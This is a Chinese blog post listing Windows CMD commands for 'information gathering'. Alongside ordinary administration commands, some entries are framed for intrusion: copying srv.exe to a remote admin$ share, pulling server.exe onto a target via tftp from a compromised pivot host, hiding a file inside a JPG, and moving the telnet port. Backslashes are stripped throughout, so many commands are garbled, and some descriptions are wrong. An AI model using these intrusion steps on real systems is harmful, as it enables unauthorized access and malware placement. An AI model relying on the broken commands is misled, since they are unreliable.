　　copy  路径文件名1　路径文件名2/y复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
　　copy c:srv.exe ip admin$  复制本地c:srv.exe到对方的admin下
　　copy 1st.jpg/b + 2st.txt /a 3st.jpg   将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
　　copy ip admin$svv.exe c:或: copy ip admin$* .*  复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
　　xcopy 要复制的文件或目录树 目标地址目录名   复制文件和目录树，用参数/Y将不提示覆盖相同文件
　　用参数/e才可连目录下的子目录一起复制到目标地址下。
　　tftp -i 自己IP(用肉机作跳板时这用肉机IP)  getserver.exec:server.exe登陆后，将“IP”的server.exe下载到目标主机c:server.exe参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i则以ASCII模式（传送文本文件模式）进行传送
　　tftp -i 对方IP　putc:server.exe登陆后，上传本地c:server.exe至主机
　　ftp ip端口  用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
　　route print  显示出IP路由，将主要显示网络地址Networkaddres，子网掩码Netmask，网关地址Gatewayaddres，接口地址Interface
　　arp  查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp-a将显示出全部信息
　　start 程序名或命令 /max或/min  新开一个新窗口并最大化（最小化）运行某程序或命令
　　mem  查看cpu使用情况
　　attrib 文件名(目录名)  查看某文件（目录）的属性
　　attrib 文件名-A-R-S-H或+A+R+S+H   去掉(添加)某文件的存档，只读，系统，隐藏属性；用+则是添加为某属性
　　dir  查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
　　date /t、time /t使用此参数即“DATE /T”、“TIME /T”将只显示当前日期和时间，而不必输入新日期和时间
　　set 指定环境变量名称=要指派给变量的字符  设置环境变量
　　set  显示当前所有的环境变量
　　setp  (或其它字符)显示出当前以字符p(或其它字符)开头的所有环境变量
　　pause  暂停批处理程序，并显示出：请按任意键继续....
　　if  在批处理程序中执行条件处理（更多说明见if命令及变量）
　　goto  标签将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）
　　call  路径批处理文件名从批处理程序中调用另一个批处理程序（更多说明见call/?）
　　for  对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
　　echo on或off  打开或关闭echo，仅用echo不加参数则显示当前echo设置
　　echo  信息在屏幕上显示出信息
　　echo 信息>>pass.txt  将"信息"保存到pass.txt文件中
　　findstr  "Hello"aa.txt在aa.txt文件中寻找字符串hello
　　find  文件名查找某文件
　　title  标题名字更改CMD窗口标题名字
　　color  颜色值设置cmd控制台前景和背景颜色；0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
　　prompt  名称更改cmd.exe的显示的命令提示符(把C:、D:统一改为：EntSky)
　　ver  在DOS窗口下显示版本信息
　　winver  弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
　　format 盘符 /FS:类型  格式化磁盘,类型:FAT、FAT32、NTFS,例：Format D: /FS:NTFS
　　md　目录名    创建目录
　　replace 源文件　  要替换文件的目录替换文件
　　ren 原文件名　 新文件名重命名文件名
　　tree  以树形结构显示出目录，用参数-f将列出第个文件夹中文件名称
　　type  文件名显示文本文件的内容
　　more  文件名逐屏显示输出文件
　　doskey 要锁定的命令=字符
　　doskey 要解锁命令=  为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskeydir=entsky(不能用doskeydir=dir)；解锁：doskeydir=
　　taskmgr  调出任务管理器
　　chkdsk /F D:  检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
　　tlntadmntelnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
　　exit  退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
　　path  路径可执行文件的文件名为可执行文件设置一个路径。
　　cmd  启动一个win2K命令解释窗口。参数：/eff、/en关闭、开启命令扩展；更我详细说明见cmd /?
　　regedit /s 注册表文件名   导入注册表；参数/S指安静模式导入，无任何提示；
　　regedit /e 注册表文件名   导出注册表
  
　　cacls 文件名　
  参数显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D用户名:设定拒绝某用户访问；/P用户名:perm替换指定用户的访问权限；/G用户名:perm赋予指定用户访问权限；Perm可以是:N无，R读取，W写入，C更改(写入)，F完全控制；例：caclsD:est.txt/Dpub设定d:est.txt拒绝pub用户访问。
  
　　cacls 文件名  查看文件的访问用户权限列表
　　REM 文本内容  在批处理文件中添加注解
　　netsh  查看或更改本地网络配置情况

参考：

https://www.cnblogs.com/1-Ry/p/15156357.html

https://www.cnblogs.com/hookjoy/p/10899119.html

GFinger的windows信息收集

部分资料网络google与百度，参考资料作者来源不详

文章作者: leaves
文章链接: http://greenleavesl.github.io/2021/12/23/windows%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/
版权声明: 本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源 leaves !
windows 命令 信息收集
赏
  目录